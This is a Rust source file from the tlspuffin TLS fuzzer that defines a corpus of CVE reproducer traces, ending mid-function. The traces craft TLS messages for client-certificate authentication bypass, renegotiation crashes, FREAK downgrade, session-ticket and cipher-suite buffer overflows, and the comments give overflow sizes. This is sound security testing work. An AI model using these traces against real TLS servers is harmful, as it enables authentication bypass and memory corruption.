tlspuffin/tls/
vulnerabilities.rs

1#![allow(dead_code)]
2
3use puffin::agent::{AgentDescriptor, AgentName};
4use puffin::algebra::dynamic_function::TypeShape;
5use puffin::put_registry::Factory;
6use puffin::trace::{Action, InputAction, OutputAction, Step, Trace};
7use puffin::{input_action, term};
8
9use crate::protocol::{
10    AgentType, MessageFlight, TLSDescriptorConfig, TLSProtocolBehavior, TLSProtocolTypes,
11    TLSVersion,
12};
13use crate::query::TlsQueryMatcher;
14use crate::tls::fn_impl::*;
15use crate::tls::rustls::msgs::enums::HandshakeType;
16use crate::tls::rustls::msgs::message::OpaqueMessage;
17use crate::tls::seeds::*;
18
19/// The `vulnerabilities` corpus: known CVE reproducers
20pub fn create_corpus(
21    put: &dyn Factory<TLSProtocolBehavior>,
22) -> Vec<(Trace<TLSProtocolTypes>, &'static str)> {
23    puffin::corpus!(
24        // Descriptor sets `client_authentication: true` (client-cert authentication bypass).
25        seed_cve_2022_25638: put.supports("tls13") && put.supports("client_authentication_transcript_extraction"),
26        seed_cve_2022_25640: put.supports("tls13") && put.supports("client_authentication_transcript_extraction"),
27        seed_cve_2022_25640_simple: put.supports("tls13") && put.supports("client_authentication_transcript_extraction"),
28
29        // TLS 1.2 only, no resumption, no client authentication.
30        seed_cve_2021_3449: put.supports("tls12"),
31        seed_freak: put.supports("tls12"),
32
33        // Relies on TLS 1.2 session tickets (`fn_new_session_ticket`).
34        seed_cve_2022_38153: put.supports("tls12") && put.supports("tls12_session_resumption"),
35        seed_cve_simple_2022_38153: put.supports("tls12") && put.supports("tls12_session_resumption"),
36
37        // Relies on TLS 1.3 session tickets (`fn_new_session_ticket13`).
38        seed_cve_2022_39173: put.supports("tls13") && put.supports("tls13_session_resumption"),
39        // Seed too large
40        seed_cve_2022_39173_full: put.supports("tls13") && put.supports("tls13_session_resumption"),
41        seed_cve_2022_39173_minimized: put.supports("tls13") && put.supports("tls13_session_resumption"),
42
43        // Downgrade attack: the client offers both TLS 1.2 and TLS 1.3 (`TLSVersion::Both`).
44        seed_cve_2024_5814: put.supports("tls12") && put.supports("tls13"),
45    )
46}
47
48/// <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25638>
49pub fn seed_cve_2022_25638(server: AgentName) -> Trace<TLSProtocolTypes> {
50    let client_hello = term! {
51          fn_client_hello(
52            fn_protocol_version12,
53            fn_new_random,
54            fn_new_session_id,
55            (fn_cipher_suites_make(
56                  (fn_append_cipher_suite(
57                  (fn_new_cipher_suites()),
58                   fn_cipher_suite13_aes_128_gcm_sha256
59            )))),
60            fn_compressions,
61            (fn_client_extensions_make(
62            (fn_client_extensions_append(
63                (fn_client_extensions_append(
64                    (fn_client_extensions_append(
65                        (fn_client_extensions_append(
66                            fn_client_extensions_new,
67                            (fn_support_group_extension_make(
68                                (fn_support_group_extension_append(
69                                    fn_support_group_extension_new,
70                                    fn_named_group_secp384r1
71                                ))
72                            ))
73                        )),
74                        (fn_signature_algorithm_extension(
75                            (fn_supported_signature_schemes_extension_append(
76                                (fn_supported_signature_schemes_extension_append(
77                                    fn_supported_signature_schemes_extension_new,
78                                    fn_sig_scheme_rsa_pkcs1_sha256
79                                )),
80                                fn_sig_scheme_rsa_pss_sha256
81                            ))
82                        ))
83                    )),
84                    (fn_key_share_extension_make(
85                        (fn_key_share_extension_append(
86                            fn_key_share_extension_new,
87                            (fn_key_share_deterministic(fn_named_group_secp384r1))
88                        ))
89                    ))
90                )),
91                fn_supported_versions13_extension
92            ))
93        )))
94    };
95
96    let decrypted_handshake = term! {
97        fn_decrypt_handshake_flight(
98            ((server, 0)/MessageFlight), // The first flight of messages sent by the server
99            (fn_server_hello_transcript(((server, 0)))),
100            (fn_get_server_key_share(((server, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ServerHello)))]))),
101            fn_no_psk,
102            fn_named_group_secp384r1,
103            fn_true,
104            fn_seq_0,  // sequence 0
105            fn_new_random,
106            fn_cipher_suite13_aes_128_gcm_sha256
107        )
108    };
109
110    // ApplicationData 0 is EncryptedExtensions
111    let certificate_request_message = term! {
112        fn_find_server_certificate_request((@decrypted_handshake))
113    };
114
115    let certificate_rsa = term! {
116        fn_certificate13(
117            (fn_payload_u8((fn_get_context((@certificate_request_message))))),
118            //fn_empty_certificate_chain
119            // Or append eve cert
120            (fn_certificate_entries_make(
121                (fn_chain_append_certificate_entry(
122                  fn_empty_certificate_chain,
123                  (fn_certificate_entry_extensions(
124                    fn_eve_cert,
125                    (fn_cert_extensions_make(
126                        fn_cert_extensions_new
127                    ))
128                ))
129            ))))
130        )
131    };
132
133    let certificate_verify_rsa = term! {
134        fn_certificate_verify(
135            fn_invalid_signature_algorithm,
136            // Option 1 (something random, only possible because of fn_empty_certificate_chain, if FAIL_IF_NO_PEER_CERT is unset):
137            //fn_eve_cert // or fn_empty_bytes_vec
138            // Option 2 (impersonating eve, you have to send eve cert):
139            (fn_payload_u16(fn_eve_pkcs1_signature))
140            // Option 3 (for testing):
141            /* (fn_rsa_sign_client(
142                (fn_certificate_transcript(((server, 0)))),
143                fn_eve_private_key, // some random private key
144                fn_rsa_pkcs1_signature_algorithm
145            ))*/
146        )
147    };
148
149    let client_finished = term! {
150        fn_finished(
151            (fn_verify_data(
152                (fn_server_finished_transcript(((server, 0)))),
153                (fn_server_hello_transcript(((server, 0)))),
154                (fn_get_server_key_share(((server, 0)))),
155                fn_no_psk,
156                fn_named_group_secp384r1,
157                fn_new_random,
158                fn_cipher_suite13_aes_128_gcm_sha256
159            ))
160        )
161    };
162
163    Trace {
164        prior_traces: vec![],
165        descriptors: vec![AgentDescriptor::from_config(
166            server,
167            TLSDescriptorConfig {
168                tls_version: TLSVersion::V1_3,
169                typ: AgentType::Server,
170                client_authentication: true,
171                ..TLSDescriptorConfig::default()
172            },
173        )],
174        steps: vec![
175            Step {
176                agent: server,
177                action: Action::Input(input_action! { term! {
178                        @client_hello
179                    }
180                }),
181            },
182            Step {
183                agent: server,
184                action: Action::Input(input_action! { term! {
185                        fn_encrypt_handshake(
186                            (@certificate_rsa),
187                            (fn_server_hello_transcript(((server, 0)))),
188                            (fn_get_server_key_share(((server, 0)))),
189                            fn_no_psk,
190                            fn_named_group_secp384r1,
191                            fn_true,
192                            fn_seq_0,  // sequence 0
193                            fn_new_random,
194                            fn_cipher_suite13_aes_128_gcm_sha256
195                        )
196                    }
197                }),
198            },
199            Step {
200                agent: server,
201                action: Action::Input(input_action! { term! {
202                         fn_encrypt_handshake(
203                            (@certificate_verify_rsa),
204                            (fn_server_hello_transcript(((server, 0)))),
205                            (fn_get_server_key_share(((server, 0)))),
206                            fn_no_psk,
207                            fn_named_group_secp384r1,
208                            fn_true,
209                            fn_seq_1,  // sequence 1
210                            fn_new_random,
211                            fn_cipher_suite13_aes_128_gcm_sha256
212                        )
213                    }
214                }),
215            },
216            Step {
217                agent: server,
218                action: Action::Input(input_action! { term! {
219                        fn_encrypt_handshake(
220                            (@client_finished),
221                            (fn_server_hello_transcript(((server, 0)))),
222                            (fn_get_server_key_share(((server, 0)))),
223                            fn_no_psk,
224                            fn_named_group_secp384r1,
225                            fn_true,
226                            fn_seq_2,  // sequence 2
227                            fn_new_random,
228                            fn_cipher_suite13_aes_128_gcm_sha256
229                        )
230                    }
231                }),
232            },
233        ],
234        ..Default::default()
235    }
236}
237
238/// <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25640>
239pub fn seed_cve_2022_25640(server: AgentName) -> Trace<TLSProtocolTypes> {
240    let client_hello = term! {
241          fn_client_hello(
242            fn_protocol_version12,
243            fn_new_random,
244            fn_new_session_id,
245            (fn_cipher_suites_make(
246                  (fn_append_cipher_suite(
247                  (fn_new_cipher_suites()),
248                  fn_cipher_suite13_aes_128_gcm_sha256
249            )))),
250            fn_compressions,
251            (fn_client_extensions_make(
252            (fn_client_extensions_append(
253                (fn_client_extensions_append(
254                    (fn_client_extensions_append(
255                        (fn_client_extensions_append(
256                            fn_client_extensions_new,
257                            (fn_support_group_extension_make(
258                                (fn_support_group_extension_append(
259                                    fn_support_group_extension_new,
260                                    fn_named_group_secp384r1
261                                ))
262                            ))
263                        )),
264                        (fn_signature_algorithm_extension(
265                            (fn_supported_signature_schemes_extension_append(
266                                (fn_supported_signature_schemes_extension_append(
267                                    fn_supported_signature_schemes_extension_new,
268                                    fn_sig_scheme_rsa_pkcs1_sha256
269                                )),
270                                fn_sig_scheme_rsa_pss_sha256
271                            ))
272                        ))
273                    )),
274                    (fn_key_share_extension_make(
275                        (fn_key_share_extension_append(
276                            fn_key_share_extension_new,
277                            (fn_key_share_deterministic(fn_named_group_secp384r1))
278                        ))
279                    ))
280                )),
281                fn_supported_versions13_extension
282            ))
283        )))
284    };
285
286    let decrypted_handshake = term! {
287        fn_decrypt_handshake_flight(
288            ((server, 0)/MessageFlight), // The first flight of messages sent by the server
289            (fn_server_hello_transcript(((server, 0)))),
290            (fn_get_server_key_share(((server, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ServerHello)))]))),
291            fn_no_psk,
292            fn_named_group_secp384r1,
293            fn_true,
294            fn_seq_0,  // sequence 0
295            fn_new_random,
296            fn_cipher_suite13_aes_128_gcm_sha256
297        )
298    };
299
300    // ApplicationData 0 is EncryptedExtensions
301    let certificate_request_message = term! {
302        fn_find_server_certificate_request((@decrypted_handshake))
303    };
304
305    let certificate = term! {
306        fn_certificate13(
307            (fn_payload_u8((fn_get_context((@certificate_request_message))))),
308            (fn_certificate_entries_make(
309                (fn_chain_append_certificate_entry(
310                fn_empty_certificate_chain,
311                (fn_certificate_entry_extensions(
312                    fn_eve_cert,
313                    (fn_cert_extensions_make(
314                        fn_cert_extensions_new
315                    ))
316                ))
317            ))))
318        )
319    };
320
321    let client_finished = term! {
322        fn_finished(
323            (fn_verify_data(
324                (fn_certificate_transcript(((server, 0)))),
325                (fn_server_hello_transcript(((server, 0)))),
326                (fn_get_server_key_share(((server, 0)))),
327                fn_no_psk,
328                fn_named_group_secp384r1,
329                fn_new_random,
330                fn_cipher_suite13_aes_128_gcm_sha256
331            ))
332        )
333    };
334
335    Trace {
336        prior_traces: vec![],
337        descriptors: vec![AgentDescriptor::from_config(
338            server,
339            TLSDescriptorConfig {
340                tls_version: TLSVersion::V1_3,
341                typ: AgentType::Server,
342                client_authentication: true,
343                ..TLSDescriptorConfig::default()
344            },
345        )],
346        steps: vec![
347            Step {
348                agent: server,
349                action: Action::Input(input_action! { term! {
350                        @client_hello
351                    }
352                }),
353            },
354            Step {
355                agent: server,
356                action: Action::Input(input_action! { term! {
357                        fn_encrypt_handshake(
358                            (@certificate),
359                            (fn_server_hello_transcript(((server, 0)))),
360                            (fn_get_server_key_share(((server, 0)))),
361                            fn_no_psk,
362                            fn_named_group_secp384r1,
363                            fn_true,
364                            fn_seq_0,  // sequence 0
365                            fn_new_random,
366                            fn_cipher_suite13_aes_128_gcm_sha256
367                        )
368                    }
369                }),
370            },
371            Step {
372                agent: server,
373                action: Action::Input(input_action! { term! {
374                        fn_encrypt_handshake(
375                            (@client_finished),
376                            (fn_server_hello_transcript(((server, 0)))),
377                            (fn_get_server_key_share(((server, 0)))),
378                            fn_no_psk,
379                            fn_named_group_secp384r1,
380                            fn_true,
381                            fn_seq_1,  // sequence 1
382                            fn_new_random,
383                            fn_cipher_suite13_aes_128_gcm_sha256
384                        )
385                    }
386                }),
387            },
388        ],
389        ..Default::default()
390    }
391}
392
393/// <https://nvd.nist.gov/vuln/detail/cve-2021-3449>
394pub fn seed_cve_2021_3449(server: AgentName) -> Trace<TLSProtocolTypes> {
395    let (mut trace, client_verify_data) = _seed_client_attacker12(server);
396
397    let renegotiation_client_hello = term! {
398          fn_client_hello(
399            fn_protocol_version12,
400            fn_new_random,
401            fn_new_session_id,
402            (fn_cipher_suites_make(
403                (fn_append_cipher_suite(
404                (fn_new_cipher_suites()),
405                // force TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
406                fn_cipher_suite12
407            )))),
408            fn_compressions,
409            (fn_client_extensions_make(
410            (fn_client_extensions_append(
411                (fn_client_extensions_append(
412                    (fn_client_extensions_append(
413                        (fn_client_extensions_append(
414                            (fn_client_extensions_append(
415                                fn_client_extensions_new,
416                                (fn_support_group_extension_make(
417                                    (fn_support_group_extension_append(
418                                        fn_support_group_extension_new,
419                                        fn_named_group_secp384r1
420                                    ))
421                                ))
422                            )),
423                            fn_ec_point_formats_extension
424                        )),
425                        fn_signed_certificate_timestamp_extension
426                    )),
427                     // Enable Renegotiation
428                    (fn_renegotiation_info_extension((fn_payload_u8((@client_verify_data)))))
429                )),
430                // Add signature cert extension
431                fn_signature_algorithm_cert_extension
432            ))
433        )))
434    };
435
436    trace.steps.push(Step {
437        agent: server,
438        action: Action::Input(input_action! { term! {
439                fn_encrypt12(
440                    (@renegotiation_client_hello),
441                    ((server, 0)),
442                    (fn_decode_server_ecdh_pubkey(
443                        ((server, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ServerKeyExchange)))]/Vec<u8>) // ServerECDHParams
444                    )),
445                    fn_named_group_secp384r1,
446                    fn_true,
447                    fn_seq_1,
448                    fn_new_random,
449                    fn_cipher_suite12
450                )
451            }
452        }),
453    });
454
455    /*trace.steps.push(Step {
456        agent: server,
457        action: Action::Input(input_action! { term! {
458                fn_encrypt12(
459                    renegotiation_client_hello,
460                    ((server, 0)),
461                    (fn_decode_server_ecdh_pubkey(
462                        ((server, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ServerKeyExchange)))]/Vec<u8>) // ServerECDHParams
463                    )),
464                    fn_named_group_secp384r1,
465                    fn_true,
466                    fn_seq_1
467                )
468            }
469        }),
470    });*/
471
472    trace
473}
474
475// Removed in favor of bit-level mutations replacing size-cheating custom function symbols such as
476// `fn_heartbeat_fake_length`. We specifically tested we can refind such trace through bit-level
477// mutations. We did it CVE 2022 38153, see `test_seed_bitmut_cve_2022_38153`.
478// test_seed_bitmut_cve_2022_38153
479// pub fn seed_heartbleed(client: AgentName, server: AgentName) -> Trace<TLSProtocolTypes> {
480//     let client_hello = term! {
481//           fn_client_hello(
482//             fn_protocol_version12,
483//             fn_new_random,
484//             fn_new_session_id,
485//             (fn_cipher_suites_make(
486//                 (fn_append_cipher_suite(
487//                 (fn_new_cipher_suites()),
488//                 // force TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
489//                 fn_cipher_suite12
490//             )))),
491//             fn_compressions,
492//             (fn_client_extensions_make(
493//             (fn_client_extensions_append(
494//                 (fn_client_extensions_append(
495//                     (fn_client_extensions_append(
496//                         fn_client_extensions_new,
497//                         (fn_support_group_extension_make(
498//                             (fn_support_group_extension_append(
499//                                 fn_support_group_extension_new,
500//                                 fn_named_group_secp384r1
501//                             ))
502//                         ))
503//                     )),
504//                     fn_ec_point_formats_extension
505//                 )),
506//                 fn_signed_certificate_timestamp_extension
507//             ))
508//         )))
509//     };
510//
511//     Trace {
512//         prior_traces: vec![],
513//         descriptors: vec![
514//             TLSDescriptorConfig::new_client(client, TLSVersion::V1_2),
515//             TLSDescriptorConfig::new_server(server, TLSVersion::V1_2),
516//         ],
517//         steps: vec![
518//             Step {
519//                 agent: server,
520//                 action: Action::Input(input_action! { client_hello
521//                 }),
522//             },
523//             // Send directly after client_hello such that this does not need to be encrypted
524//             Step {
525//                 agent: server,
526//                 action: Action::Input(input_action! { term! {
527//                         fn_heartbeat_fake_length((fn_payload_u16(fn_empty_bytes_vec)),
528// fn_large_length)                     }
529//                 }),
530//             },
531//         ],
532//     }
533// }
534
535pub fn seed_freak(client: AgentName, server: AgentName) -> Trace<TLSProtocolTypes> {
536    Trace {
537        prior_traces: vec![],
538        descriptors: vec![
539            TLSDescriptorConfig::new_client(client, TLSVersion::V1_2),
540            TLSDescriptorConfig::new_server(server, TLSVersion::V1_2),
541        ],
542        steps: vec![
543            OutputAction::new_step(client),
544            // Client Hello, Client -> Server
545            InputAction::new_step(
546                server,
547                term! {
548                    fn_client_hello(
549                        ((client, 0)),
550                        ((client, 0)),
551                        ((client, 0)),
552                        (fn_cipher_suites_make(
553                            (fn_append_cipher_suite(
554                            (fn_new_cipher_suites()),
555                            fn_weak_export_cipher_suite
556                        )))),
557                        ((client, 0)),
558                        ((client, 0))
559                    )
560                },
561            ),
562            // Server Hello, Server -> Client
563            InputAction::new_step(
564                client,
565                term! {
566                    fn_server_hello(
567                        ((server, 0)),
568                        ((server, 0)),
569                        ((server, 0)),
570                        (fn_secure_rsa_cipher_suite12),
571                        ((server, 0)),
572                        ((server, 0))
573                    )
574                },
575            ),
576            // Server Certificate, Server -> Client
577            Step {
578                agent: client,
579                action: Action::Input(input_action! { term! {
580                        fn_certificate(
581                            ((server, 0))
582                        )
583                    }
584                }),
585            },
586            // Server Key Exchange, Server -> Client
587            // If the KEX fails here, then no ephemeral KEX is used
588            Step {
589                agent: client,
590                action: Action::Input(input_action! { term! {
591                        fn_server_key_exchange(  // check whether the client rejects this if it does not support export
592                            ((server, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ServerKeyExchange)))]/Vec<u8>)
593                        )
594                    }
595                }),
596            },
597            // Server Hello Done, Server -> Client
598            Step {
599                agent: client,
600                action: Action::Input(input_action! { term! {
601                        fn_server_hello_done
602                    }
603                }),
604            },
605            // Client Key Exchange, Client -> Server
606            Step {
607                agent: server,
608                action: Action::Input(input_action! { term! {
609                        fn_client_key_exchange(
610                             ((client, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ClientKeyExchange)))]/Vec<u8>)
611                        )
612                    }
613                }),
614            },
615            // Client Change Cipher Spec, Client -> Server
616            Step {
617                agent: server,
618                action: Action::Input(input_action! { term! {
619                        fn_change_cipher_spec
620                    }
621                }),
622            },
623        ],
624        ..Default::default()
625    }
626}
627
628/// A simplified version of [`seed_cve_2022_25640`]
629pub fn seed_cve_2022_25640_simple(server: AgentName) -> Trace<TLSProtocolTypes> {
630    let client_hello = term! {
631          fn_client_hello(
632            fn_protocol_version12,
633            fn_new_random,
634            fn_new_session_id,
635            (fn_cipher_suites_make(
636                (fn_append_cipher_suite(
637                (fn_new_cipher_suites()),
638                fn_cipher_suite13_aes_128_gcm_sha256
639            )))),
640            fn_compressions,
641            (fn_client_extensions_make(
642            (fn_client_extensions_append(
643                (fn_client_extensions_append(
644                    (fn_client_extensions_append(
645                        (fn_client_extensions_append(
646                            fn_client_extensions_new,
647                            (fn_support_group_extension_make(
648                                (fn_support_group_extension_append(
649                                    fn_support_group_extension_new,
650                                    fn_named_group_secp384r1
651                                ))
652                            ))
653                        )),
654                        (fn_signature_algorithm_extension(
655                            (fn_supported_signature_schemes_extension_append(
656                                (fn_supported_signature_schemes_extension_append(
657                                    fn_supported_signature_schemes_extension_new,
658                                    fn_sig_scheme_rsa_pkcs1_sha256
659                                )),
660                                fn_sig_scheme_rsa_pss_sha256
661                            ))
662                        ))
663                    )),
664                    (fn_key_share_extension_make(
665                        (fn_key_share_extension_append(
666                            fn_key_share_extension_new,
667                            (fn_key_share_deterministic(fn_named_group_secp384r1))
668                        ))
669                    ))
670                )),
671                fn_supported_versions13_extension
672            ))
673        )))
674    };
675
676    let client_finished = term! {
677        fn_finished(
678            (fn_verify_data(
679                (fn_server_finished_transcript(((server, 0)))),
680                (fn_server_hello_transcript(((server, 0)))),
681                (fn_get_server_key_share(((server, 0)))),
682                fn_no_psk,
683                fn_named_group_secp384r1,
684                fn_new_random,
685                fn_cipher_suite13_aes_128_gcm_sha256
686            ))
687        )
688    };
689
690    Trace {
691        prior_traces: vec![],
692        descriptors: vec![AgentDescriptor::from_config(
693            server,
694            TLSDescriptorConfig {
695                tls_version: TLSVersion::V1_3,
696                typ: AgentType::Server,
697                client_authentication: true,
698                ..TLSDescriptorConfig::default()
699            },
700        )],
701        steps: vec![
702            Step {
703                agent: server,
704                action: Action::Input(input_action! { term! {
705                        @client_hello
706                    }
707                }),
708            },
709            Step {
710                agent: server,
711                action: Action::Input(input_action! { term! {
712                        fn_encrypt_handshake(
713                            (@client_finished),
714                            (fn_server_hello_transcript(((server, 0)))),
715                            (fn_get_server_key_share(((server, 0)))),
716                            fn_no_psk,
717                            fn_named_group_secp384r1,
718                            fn_true,
719                            fn_seq_0,  // sequence 0
720                            fn_new_random,
721                            fn_cipher_suite13_aes_128_gcm_sha256
722                        )
723                    }
724                }),
725            },
726        ],
727        ..Default::default()
728    }
729}
730
731pub fn seed_cve_2022_38153(client: AgentName, server: AgentName) -> Trace<TLSProtocolTypes> {
732    Trace {
733        prior_traces: vec![],
734        descriptors: vec![
735            TLSDescriptorConfig::new_client(client, TLSVersion::V1_2),
736            TLSDescriptorConfig::new_server(server, TLSVersion::V1_2),
737        ],
738        steps: vec![
739            OutputAction::new_step(client),
740            // Client Hello, Client -> Server
741            InputAction::new_step(
742                server,
743                term! {
744                    fn_client_hello(
745                        ((client, 0)),
746                        ((client, 0)),
747                        ((client, 0)),
748                        ((client, 0)),
749                        ((client, 0)),
750                        ((client, 0))
751                    )
752                },
753            ),
754            // Server Hello, Server -> Client
755            InputAction::new_step(
756                client,
757                term! {
758                        fn_server_hello(
759                            ((server, 0)),
760                            ((server, 0)),
761                            ((client, 0)),
762                            ((server, 0)),
763                            ((server, 0)),
764                            ((server, 0))
765                        )
766                },
767            ),
768            // Server Certificate, Server -> Client
769            Step {
770                agent: client,
771                action: Action::Input(input_action! { term! {
772                        fn_certificate(
773                            ((server, 0))
774                        )
775                    }
776                }),
777            },
778            // Server Key Exchange, Server -> Client
779            Step {
780                agent: client,
781                action: Action::Input(input_action! { term! {
782                        fn_server_key_exchange(
783                            ((server, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ServerKeyExchange)))]/Vec<u8>)
784                        )
785                    }
786                }),
787            },
788            // Server Hello Done, Server -> Client
789            Step {
790                agent: client,
791                action: Action::Input(input_action! { term! {
792                        fn_server_hello_done
793                    }
794                }),
795            },
796            // Client Key Exchange, Client -> Server
797            Step {
798                agent: server,
799                action: Action::Input(input_action! { term! {
800                        fn_client_key_exchange(
801                            ((client, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ClientKeyExchange)))]/Vec<u8>)
802                        )
803                    }
804                }),
805            },
806            // Client Change Cipher Spec, Client -> Server
807            Step {
808                agent: server,
809                action: Action::Input(input_action! { term! {
810                        fn_change_cipher_spec
811                    }
812                }),
813            },
814            // Client Handshake Finished, Client -> Server
815            // IMPORTANT: We are using here OpaqueMessage as the parsing code in src/io.rs does
816            // not know that the Handshake record message is encrypted. The parsed message from the
817            // could be a HelloRequest if the encrypted data starts with a 0.
818            Step {
819                agent: server,
820                action: Action::Input(input_action! { term! {
821                           (client, 3)[None] > TypeShape::of::<OpaqueMessage>()
822                    }
823                }),
824            },
825            // NewSessionTicket, Server -> Client
826            Step {
827                agent: client,
828                action: Action::Input(input_action! { term! {
829                        fn_new_session_ticket(
830                            ((server, 0)/u32),
831                            (fn_payload_u16(fn_large_bytes_vec))
832                        )
833                    }
834                }),
835            },
836        ],
837        ..Default::default()
838    }
839}
840
841// Same as seed_cve_2022_38153 without the final fn_large_bytes_vec, to check whether we refind it
842// through bit-level mutations
843pub fn seed_cve_simple_2022_38153(client: AgentName, server: AgentName) -> Trace<TLSProtocolTypes> {
844    let new_session_ticket_payload = term! {
845        fn_payload_u16(((server, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::NewSessionTicket)))]/Vec<u8>))
846    };
847
848    let last_term = term! {
849        fn_new_session_ticket(
850            ((server, 0)/u32),
851            (@new_session_ticket_payload)
852        )
853    };
854
855    Trace {
856        prior_traces: vec![],
857        descriptors: vec![
858            TLSDescriptorConfig::new_client(client, TLSVersion::V1_2),
859            TLSDescriptorConfig::new_server(server, TLSVersion::V1_2),
860        ],
861        steps: vec![
862            OutputAction::new_step(client),
863            // Client Hello, Client -> Server
864            InputAction::new_step(
865                server,
866                term! {
867                    fn_client_hello(
868                        ((client, 0)),
869                        ((client, 0)),
870                        ((client, 0)),
871                        ((client, 0)),
872                        ((client, 0)),
873                        ((client, 0))
874                    )
875                },
876            ),
877            // Server Hello, Server -> Client
878            InputAction::new_step(
879                client,
880                term! {
881                        fn_server_hello(
882                            ((server, 0)),
883                            ((server, 0)),
884                            ((client, 0)),
885                            ((server, 0)),
886                            ((server, 0)),
887                            ((server, 0))
888                        )
889                },
890            ),
891            // Server Certificate, Server -> Client
892            Step {
893                agent: client,
894                action: Action::Input(input_action! { term! {
895                        fn_certificate(
896                            ((server, 0))
897                        )
898                    }
899                }),
900            },
901            // Server Key Exchange, Server -> Client
902            Step {
903                agent: client,
904                action: Action::Input(input_action! { term! {
905                        fn_server_key_exchange(
906                            ((server, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ServerKeyExchange)))]/Vec<u8>)
907                        )
908                    }
909                }),
910            },
911            // Server Hello Done, Server -> Client
912            Step {
913                agent: client,
914                action: Action::Input(input_action! { term! {
915                        fn_server_hello_done
916                    }
917                }),
918            },
919            // Client Key Exchange, Client -> Server
920            Step {
921                agent: server,
922                action: Action::Input(input_action! { term! {
923                        fn_client_key_exchange(
924                            ((client, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ClientKeyExchange)))]/Vec<u8>)
925                        )
926                    }
927                }),
928            },
929            // Client Change Cipher Spec, Client -> Server
930            Step {
931                agent: server,
932                action: Action::Input(input_action! { term! {
933                        fn_change_cipher_spec
934                    }
935                }),
936            },
937            // Client Handshake Finished, Client -> Server
938            // IMPORTANT: We are using here OpaqueMessage as the parsing code in src/io.rs does
939            // not know that the Handshake record message is encrypted. The parsed message from the
940            // could be a HelloRequest if the encrypted data starts with a 0.
941            Step {
942                agent: server,
943                action: Action::Input(input_action! { term! {
944                           (client, 3)[None] > TypeShape::of::<OpaqueMessage>()
945                    }
946                }),
947            },
948            // NewSessionTicket, Server -> Client
949            Step {
950                agent: client,
951                action: Action::Input(input_action! { last_term }),
952            },
953        ],
954        ..Default::default()
955    }
956}
957
958pub fn seed_cve_2022_39173(
959    initial_server: AgentName,
960    server: AgentName,
961) -> Trace<TLSProtocolTypes> {
962    let initial_handshake = seed_client_attacker(initial_server);
963
964    let new_ticket_message = term! {
965        fn_decrypt_application(
966            ((initial_server, 4)[Some(TlsQueryMatcher::ApplicationData)]), // Ticket from last session
967            (fn_server_hello_transcript(((initial_server, 0)))),
968            (fn_server_finished_transcript(((initial_server, 0)))),
969            (fn_get_server_key_share(((initial_server, 0)))),
970            fn_no_psk,
971            fn_named_group_secp384r1,
972            fn_true,
973            fn_seq_0, // sequence restarts at 0 because we are decrypting now traffic
974            fn_new_random,
975            fn_cipher_suite13_aes_128_gcm_sha256
976        )
977    };
978
979    let mut cipher_suites = term! { fn_new_cipher_suites() };
980    for _ in 0..149 {
981        // also works with 149, 150 leads a too large list of suites (as expected)
982        // Maximum reached suitesSz value depending on the number of ciphers in the list:
983        // 149 -> suiteSz reaches >29461 (overflow of > 29161 bytes)
984        // 14 -> suiteSz reaches 450 (overflow of 150 bytes)
985        // 13 -> suiteSz reaches 392  (overflow of 92 bytes)
986        // 12 -> suiteSz reaches 338  (overflow of 38 bytes)
987        // 11 -> suiteSz remains below 300
988        cipher_suites = term! {
989            fn_append_cipher_suite(
990                (@cipher_suites),
991                fn_cipher_suite13_aes_128_gcm_sha256 // For 5.5.0 this MUST be a supported cipher suite
992                //fn_cipher_suite12 // Works for 5.4.0
993            )
994        };
995    }
996
997    let client_hello = term! {
998          fn_client_hello(
999            fn_protocol_version12,
1000            fn_new_random,
1001            fn_new_session_id,
1002            (fn_cipher_suites_make(
1003                (fn_append_cipher_suite(
1004                 (@cipher_suites), // CHANGED FROM: (fn_new_cipher_suites()),
1005                // CHANGED FROM fn_cipher_suite13_aes_128_gcm_sha256
1006                fn_cipher_suite13_aes_256_gcm_sha384
1007            )))),
1008            fn_compressions,
1009            (fn_client_extensions_make(
1010            (fn_client_extensions_append(
1011                (fn_client_extensions_append(
1012                    (fn_client_extensions_append(
1013                        (fn_client_extensions_append(
1014                            (fn_client_extensions_append(
1015                                fn_client_extensions_new,
1016                                // CHANGED from: (fn_client_extensions_append(
1017                                // CHANGED from:     fn_client_extensions_new,
1018                                // CHANGED from:     (fn_support_group_extension(fn_named_group_secp384r1))
1019                                // CHANGED from: )),
1020                                // ^ lacks of the above makes the server enter a `SERVER_HELLO_RETRY_REQUEST_COMPLETE` state
1021                                (fn_signature_algorithm_extension(
1022                                    (fn_supported_signature_schemes_extension_append(
1023                                        (fn_supported_signature_schemes_extension_append(
1024                                            fn_supported_signature_schemes_extension_new,
1025                                            fn_sig_scheme_rsa_pkcs1_sha256
1026                                        )),
1027                                        fn_sig_scheme_rsa_pss_sha256
1028                                    ))
1029                                ))
1030                            )),
1031                            fn_supported_versions13_extension
1032                        )),
1033                        (fn_key_share_extension_make(
1034                            (fn_key_share_extension_append(
1035                                fn_key_share_extension_new,
1036                                (fn_key_share_deterministic(fn_named_group_secp384r1))
1037                            ))
1038                        ))
1039                    )),
1040                    fn_psk_exchange_mode_dhe_ke_extension
1041                )),
1042                // https://datatracker.ietf.org/doc/html/rfc8446#section-2.2
1043                // must be last in client_hello, and initially empty until filled by fn_fill_binder
1044                (fn_preshared_keys_extension_empty_binder(
1045                    (@new_ticket_message)
1046                ))
1047            ))
1048        )))
1049    };
1050
1051    let psk = term! {
1052        fn_derive_psk(
1053            (fn_server_hello_transcript(((initial_server, 0)))),
1054            (fn_server_finished_transcript(((initial_server, 0)))),
1055            (fn_client_finished_transcript(((initial_server, 0)))),
1056            (fn_get_server_key_share(((initial_server, 0)[Some(TlsQueryMatcher::Handshake(Some(HandshakeType::ServerHello)))]))),
